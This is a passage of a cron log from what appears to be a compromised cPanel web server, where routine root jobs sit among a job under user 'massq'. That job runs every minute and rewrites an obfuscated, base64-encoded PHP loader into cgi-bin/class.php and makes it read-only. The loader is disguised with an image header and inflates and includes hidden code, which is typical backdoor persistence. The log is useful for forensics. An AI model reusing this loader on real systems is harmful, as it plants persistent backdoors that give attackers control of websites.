--decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:40:01 server CROND[31773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:40:01 server CROND[31777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:41:01 server CROND[32592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:41:01 server CROND[32593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:41:01 server CROND[32594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:42:01 server CROND[516]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:42:01 server CROND[517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:42:01 server CROND[518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:42:01 server CROND[520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:43:01 server CROND[1011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:43:01 server CROND[1012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:43:01 server CROND[1013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:44:01 server CROND[1499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:44:01 server CROND[1500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:44:01 server CROND[1501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:45:01 server CROND[1878]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:45:01 server CROND[1888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:45:01 server CROND[1891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:45:01 server CROND[1892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:45:01 server CROND[1890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:45:01 server CROND[1896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:45:01 server CROND[1893]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:46:01 server CROND[2784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:46:01 server CROND[2785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:46:01 server CROND[2786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:47:01 server CROND[3159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:47:01 server CROND[3161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:47:01 server CROND[3162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:48:01 server CROND[3626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:48:01 server CROND[3628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:48:01 server CROND[3629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:49:01 server CROND[4005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:49:01 server CROND[4006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:49:01 server CROND[4007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:50:01 server CROND[4394]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:50:01 server CROND[4396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:50:01 server CROND[4398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:50:01 server CROND[4401]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:50:01 server CROND[4399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:50:01 server CROND[4400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:50:01 server CROND[4403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:50:01 server CROND[4405]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:50:01 server CROND[4402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:51:01 server CROND[5229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:51:01 server CROND[5230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:51:01 server CROND[5231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:52:01 server CROND[5603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:52:01 server CROND[5604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:52:01 server CROND[5606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
